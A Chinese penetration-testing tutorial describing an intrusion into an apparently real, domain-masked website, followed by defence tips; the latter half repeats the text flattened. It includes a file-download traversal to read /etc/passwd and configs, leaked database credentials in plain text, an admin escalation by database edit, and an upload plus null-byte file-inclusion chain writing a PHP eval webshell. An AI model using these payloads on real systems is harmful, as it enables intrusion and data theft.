对某网站对一次基础渗透
字数 1191 2025-08-18 17:33:36

网站基础渗透实战教学文档

信息收集阶段

1. 目录扫描

使用Goby工具进行目录扫描,发现以下关键路径:

[200][text/html][0b] http://www.xxxxxx/adm/
[200][text/html][0b] http://www.xxxxxx/adm/index.php
[200][text/html][8.21kb] http://www.xxxxxx/manual/index.html
[200][text/html; charset=utf-8][8.48kb] http://www.xxxxxx/phpMyAdmin/
[200][text/html][780.00b] http://www.xxxxxx/root/
[200][text/html][21.69kb] http://www.xxxxxx/temp/

2. 敏感文件发现

  • 发现index.bak备份文件
  • 发现phpMyAdmin管理界面
  • 发现多个管理目录(adm/, manage/, manager/)

3. 旁站信息收集

通过目录结构发现多个可能存在的旁站:

home12, home13, home2, home3, home3_test01, home4, home5, home8, home9

使用FOFA插件验证旁站存在

漏洞挖掘

1. 文件下载漏洞

发现存在文件下载漏洞的端点:

http://www.xxxxx/include/download.php?f=

漏洞特征:

  • 不输入参数直接下载download.php本身
  • 尝试下载/etc/passwd等系统文件
  • 通过绝对路径可下载网站文件

2. 文件下载漏洞利用

成功下载的关键文件:

  1. /home12/include/database.inc - 获取数据库凭据
  2. /phpMyAdmin/config.inc.php - 获取可能的数据库凭据
  3. 网站核心配置文件

3. 获取数据库凭据

从database.inc文件中获取到:

$sqlServerIp = 'localhost';     // sql server ip
$userName = 'arco';         // sql login name
$passWord = 'su3cl3';       // sql login password
$dbName = 'mdn';            // sql database name

权限提升

1. phpMyAdmin利用

使用获取的凭据登录phpMyAdmin:

  • 用户'arco'权限有限,无法执行高危操作
  • 尝试通过SELECT INTO OUTFILE写shell失败
  • 尝试开启general_log写shell失败(需要SUPER权限)

2. 后台登录绕过

分析登录逻辑发现SQL查询问题:

$dm1_sql = "select type from belong where uid='$uid' and sid='{$sys['sid']}'"

发现所有用户type=0,通过直接修改数据库将type改为1获得管理员权限

获取Webshell

1. 文件上传+文件包含组合利用

发现两处关键漏洞:

  1. 头像上传功能(限制为jpg/gif)
  2. 文件包含漏洞:
/funn/index.php?go=/etc/passwd%00

2. 利用步骤

  1. 上传图片马(内容为PHP代码),保存为jpg/gif
  2. 通过文件包含执行图片马中的代码:
/funn/index.php?go=/data/userpic/2.jpg%00
  1. 使用图片马写入webshell:
<?php fputs(fopen('../data/userpic/shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

技术要点总结

  1. 信息收集要全面:不仅扫描主站,还要注意目录结构暴露的旁站信息

  2. 文件下载漏洞利用

    • 尝试系统敏感文件(/etc/passwd等)
    • 通过绝对路径下载网站配置文件
    • 重点查找包含数据库凭据的文件
  3. 权限绕过技巧

    • 分析登录逻辑中的SQL查询
    • 注意用户权限字段(如type、status等)
    • 直接修改数据库关键字段
  4. 组合漏洞利用

    • 文件上传+文件包含
    • 使用00截断绕过限制(PHP版本<5.3.4)
    • 注意路径问题(绝对路径/相对路径)
  5. phpMyAdmin利用限制

    • 注意用户权限(SELECT INTO OUTFILE需要FILE权限)
    • general_log需要SUPER权限
    • 低权限用户可尝试读取数据而非直接getshell

防御建议

  1. 禁用不必要的目录列表
  2. 限制文件下载功能的目录访问范围
  3. 数据库用户按最小权限原则分配
  4. 对上传文件进行严格的内容检查而非仅扩展名检查
  5. 禁用危险函数如fopen、fputs等或严格限制其使用范围
  6. 及时更新PHP版本避免00截断等老版本漏洞
网站基础渗透实战教学文档 信息收集阶段 1. 目录扫描 使用Goby工具进行目录扫描,发现以下关键路径: 2. 敏感文件发现 发现index.bak备份文件 发现phpMyAdmin管理界面 发现多个管理目录(adm/, manage/, manager/) 3. 旁站信息收集 通过目录结构发现多个可能存在的旁站: 使用FOFA插件验证旁站存在 漏洞挖掘 1. 文件下载漏洞 发现存在文件下载漏洞的端点: 漏洞特征: 不输入参数直接下载download.php本身 尝试下载/etc/passwd等系统文件 通过绝对路径可下载网站文件 2. 文件下载漏洞利用 成功下载的关键文件: /home12/include/database.inc - 获取数据库凭据 /phpMyAdmin/config.inc.php - 获取可能的数据库凭据 网站核心配置文件 3. 获取数据库凭据 从database.inc文件中获取到: 权限提升 1. phpMyAdmin利用 使用获取的凭据登录phpMyAdmin: 用户'arco'权限有限,无法执行高危操作 尝试通过SELECT INTO OUTFILE写shell失败 尝试开启general_ log写shell失败(需要SUPER权限) 2. 后台登录绕过 分析登录逻辑发现SQL查询问题: 发现所有用户type=0,通过直接修改数据库将type改为1获得管理员权限 获取Webshell 1. 文件上传+文件包含组合利用 发现两处关键漏洞: 头像上传功能(限制为jpg/gif) 文件包含漏洞: 2. 利用步骤 上传图片马(内容为PHP代码),保存为jpg/gif 通过文件包含执行图片马中的代码: 使用图片马写入webshell: 技术要点总结 信息收集要全面 :不仅扫描主站,还要注意目录结构暴露的旁站信息 文件下载漏洞利用 : 尝试系统敏感文件(/etc/passwd等) 通过绝对路径下载网站配置文件 重点查找包含数据库凭据的文件 权限绕过技巧 : 分析登录逻辑中的SQL查询 注意用户权限字段(如type、status等) 直接修改数据库关键字段 组合漏洞利用 : 文件上传+文件包含 使用00截断绕过限制(PHP版本 <5.3.4) 注意路径问题(绝对路径/相对路径) phpMyAdmin利用限制 : 注意用户权限(SELECT INTO OUTFILE需要FILE权限) general_ log需要SUPER权限 低权限用户可尝试读取数据而非直接getshell 防御建议 禁用不必要的目录列表 限制文件下载功能的目录访问范围 数据库用户按最小权限原则分配 对上传文件进行严格的内容检查而非仅扩展名检查 禁用危险函数如fopen、fputs等或严格限制其使用范围 及时更新PHP版本避免00截断等老版本漏洞